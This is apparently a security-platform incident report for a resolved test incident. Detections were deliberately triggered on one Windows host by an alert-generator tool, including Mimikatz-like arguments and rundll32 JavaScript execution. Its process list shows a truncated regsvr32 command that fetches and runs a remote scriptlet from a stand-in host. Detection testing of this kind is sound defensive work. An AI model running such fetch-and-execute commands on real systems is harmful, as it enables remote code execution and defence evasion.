HIGH 'Command-line arguments match Mimikatz execution' along with 7 other issues
RESOLVED SECURITY TESTING
ID: #218
|
Created: 2026-01-03 03:55:17
8
Alerts
1
Hosts
7
Files
0
Network
Incident Overview
'Command-line arguments match Mimikatz execution' along with 7 other issues generated by XDR BIOC and XDR Agent detected on host desktop-fnumv3u involving user desktop-fnumv3u\user
8
2026-01-03 04:10
Unassigned
XDR BIOC, XDR Agent
Malware
Collection
Credential Access
Execution
Affected Hosts & Users
desktop-fnumv3u\user
MITRE ATT&CK Mapping
File Artifacts
7
| File Name | Path | SHA256 | Signature | Verdict | Actions |
|---|---|---|---|---|---|
| cmd.exe | - |
badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0
|
SIGNATURE_SIGNED | UNKNOWN | VT |
| UltimateXdrGenerator.exe | - |
82fabb35db24a714b179c912f8c0cb90ef174c8db9d6c5bbc59346da7478d82d
|
SIGNATURE_UNSIGNED | UNKNOWN | VT |
| wscript.exe | - |
40d9518bf166d1d94b4d60dfe40efb06d2dd92e1ca6d9ab1a4d2b8ccc49da532
|
SIGNATURE_SIGNED | UNKNOWN | VT |
| regsvr32.exe | - |
022cb167a29a32dae848be91aef721c74f1975af151807dafcc5ed832db246b7
|
SIGNATURE_SIGNED | UNKNOWN | VT |
| python.exe | - |
467014615a5255aca450ae88100dd2caf887da87657f00e3c2171ec44a685aec
|
SIGNATURE_SIGNED | UNKNOWN | VT |
| powershell.exe | - |
9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3
|
SIGNATURE_SIGNED | UNKNOWN | VT |
| rundll32.exe | - |
076592ca1957f8f357cc201f0015072c612f5770ad7de85f87f254253c754dd7
|
SIGNATURE_SIGNED | UNKNOWN | VT |
Network Artifacts
0
No network artifacts found for this incident
Process Artifacts
8
| Process | Command Line | Parent Process | User |
|---|---|---|---|
| cmd.exe |
C:\WINDOWS\system32\cmd.exe /c "regsvr32 /s /n /u /i:http://example.com/test.sct...
|
wscript.exe | DESKTOP-FNUMV3U\User |
| cmd.exe |
C:\WINDOWS\system32\cmd.exe /c "regsvr32 /s /n /u /i:http://example.com/test.sct...
|
wscript.exe | DESKTOP-FNUMV3U\User |
| UltimateXdrGenerator.exe |
"C:\app\cortex-xdr-siem-test\xdr_tools\UltimateXdrGenerator\bin\publish\Ultimate...
|
cmd.exe | DESKTOP-FNUMV3U\User |
| UltimateXdrGenerator.exe |
"C:\app\cortex-xdr-siem-test\xdr_tools\UltimateXdrGenerator\bin\publish\Ultimate...
|
cmd.exe | DESKTOP-FNUMV3U\User |
| UltimateXdrGenerator.exe |
"C:\app\cortex-xdr-siem-test\xdr_tools\UltimateXdrGenerator\bin\publish\Ultimate...
|
cmd.exe | DESKTOP-FNUMV3U\User |
| UltimateXdrGenerator.exe |
"C:\app\cortex-xdr-siem-test\xdr_tools\UltimateXdrGenerator\bin\publish\Ultimate...
|
cmd.exe | DESKTOP-FNUMV3U\User |
| python.exe |
"python" incident_generator.py --category credential
|
cmd.exe | DESKTOP-FNUMV3U\User |
| python.exe |
"python" incident_generator.py --category credential
|
cmd.exe | DESKTOP-FNUMV3U\User |
Registry Artifacts
0
No registry artifacts found for this incident
Analyst Verdict
HIGH
- Isolate affected endpoints
- Investigate all related alerts
- Document findings
Summary
8
Alerts
1
Hosts
7
Files
0
Network
Alert Categories
Malware
Collection
Credential Access
Execution
Timeline
01-03 04:10:04
Incident Modified
Status or details updated
01-03 04:10:04
Incident Resolved
resolved security testing
01-03 04:06:01
Regsvr32 may have run code from an untrusted source
high - Detected
01-03 04:06:01
Suspicious Process Creation
medium - Prevented (Blocked)
01-03 04:03:13
PowerShell runs with known Mimikatz arguments
medium - Detected
01-03 04:03:12
Suspicious Process Creation
medium - Prevented (Blocked)
01-03 04:03:07
Rundll32.exe was used to run JavaScript
medium - Detected
01-03 03:56:08
Suspicious Process Creation
medium - Prevented (Blocked)
01-03 03:55:17
Incident Created
#218 - 'Command-line arguments match Mimikatz execution' along with 7 other issues
01-03 03:55:17
cmd.exe
Verdict: Unknown
01-03 03:55:17
UltimateXdrGenerator.exe
Verdict: Unknown
01-03 03:55:17
wscript.exe
Verdict: Unknown
01-03 03:55:17
regsvr32.exe
Verdict: Unknown
01-03 03:55:17
python.exe
Verdict: Unknown
01-03 03:55:17
powershell.exe
Verdict: Unknown
01-03 03:55:17
rundll32.exe
Verdict: Unknown
01-03 03:55:07
Command-line arguments match Mimikatz execution
high - Detected
01-03 03:55:07
Suspicious Process Creation
medium - Prevented (Blocked)